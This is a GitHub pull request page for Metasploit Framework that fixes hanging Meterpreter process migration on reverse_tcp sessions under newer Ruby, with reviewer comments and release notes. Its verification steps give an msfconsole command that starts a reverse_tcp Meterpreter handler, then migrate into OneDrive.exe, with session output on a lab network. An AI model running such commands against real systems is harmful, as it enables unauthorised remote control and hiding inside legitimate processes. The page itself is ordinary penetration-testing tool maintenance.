Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Fix process migration on reverse_tcp meterpreter sessions w/ newer Ruby #12502

Merged
merged 2 commits into from Oct 28, 2019

Conversation

@busterb
Copy link
Member

busterb commented Oct 28, 2019

This fixes #12390, a bug where Meterpreter process migration with reverse_tcp would hang on newer versions of Ruby (since Ruby 2.5.5). This appears to be due to an assumption in the MSF code that killing a thread is a synchronous operation, when it needs a .join to ensure the thread has exited before continuing. Ruby 2.5.5 may have introduced stronger guarantees that the system would continue with the context of the main thread for a bit longer than before after calling '.kill' on a child thread.

Earlier iterations of this patch sprinked ::Thread.pass around for a similar effect, which likely just bought enough time for the child threads to exit on their own. This makes it explicit.

There is opportunity to hunt for more bugs of this class with git grep "thread = nil"

Verification

List the steps needed to make sure this thing works

  • Start ./msfconsole -qx 'use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.56.1; run' or get a reverse_tcp session somehow
  • migrate -N OneDrive.exe or whatever your preference is
  • Verify the migration runs reliably
  • Verify it doesn't hang or timeout
$ ./msfconsole -qx 'use multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.56.1; run'
payload => windows/meterpreter/reverse_tcp
lhost => 192.168.56.1
[*] Started reverse TCP handler on 192.168.56.1:4444 

[*] Sending stage (180291 bytes) to 192.168.56.103
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.103:50091) at 2019-10-28 06:19:34 -0500

meterpreter > 
meterpreter > 
meterpreter > migrate -N OneDrive.exe
[*] Migrating from 7188 to 3632...
[*] Migration completed successfully.
@busterb busterb requested a review from OJ Oct 28, 2019
@bwatters-r7 bwatters-r7 self-assigned this Oct 28, 2019
@OJ
OJ approved these changes Oct 28, 2019
Copy link
Contributor

OJ left a comment

LGTM! Feel a bit gross about MSF-related changes to fix something that resulted from a Ruby change, but I think that this makes sense regardless of what Ruby is doing behind the scenes.

@OJ

This comment has been minimized.

Copy link
Contributor

OJ commented Oct 28, 2019

@bwatters-r7 done some testing at this end and from what I can see it looks good. I can land it unless you're doing more testing across the board?

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Oct 28, 2019

@OJ, I did some manual testing and it looks great. I just plugged it into the automated testing I used to track it down and was going to land as soon as that finished in a couple minutes.

@OJ

This comment has been minimized.

Copy link
Contributor

OJ commented Oct 28, 2019

@bwatters-r7 ok mate, I'll leave it to you then and I'll head to bed :)

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Oct 28, 2019

@OJ, WIll-do. Sleep well.

@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Oct 28, 2019

image

bwatters-r7 added a commit that referenced this pull request Oct 28, 2019
…s w/ newer Ruby

Merge branch 'land-12502' into upstream-master
@bwatters-r7 bwatters-r7 merged commit 6a9cc9b into rapid7:master Oct 28, 2019
3 checks passed
3 checks passed
Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details
msjenkins-r7 added a commit that referenced this pull request Oct 28, 2019
…s w/ newer Ruby

Merge branch 'land-12502' into upstream-master
@bwatters-r7

This comment has been minimized.

Copy link
Contributor

bwatters-r7 commented Oct 28, 2019

Release Notes

Previously, metasploit framework's code made incorrect assumptions on what elements in a thread hand-off were synchronous. When we updated to Ruby updated to 2.5.5, the new version included protections to threads that unmasked these assumptions and caused thread handoffs to fail because they no longer behaved in a synchronous fashion. Specifically, this was seen in the migrate command, where we launch a meterpreter payload in another process and hand off the connection to another thread in framework. This PR changes the behavior in framework to enforce the correct behavior when one thread hands off execution to another.

fengjixuchui added a commit to fengjixuchui/metasploit-framework that referenced this pull request Oct 28, 2019
Land rapid7#12502, Fix process migration on reverse_tcp meterpreter s…
@tperry-r7 tperry-r7 added the rn-fix label Oct 30, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
4 participants
You can’t perform that action at this time.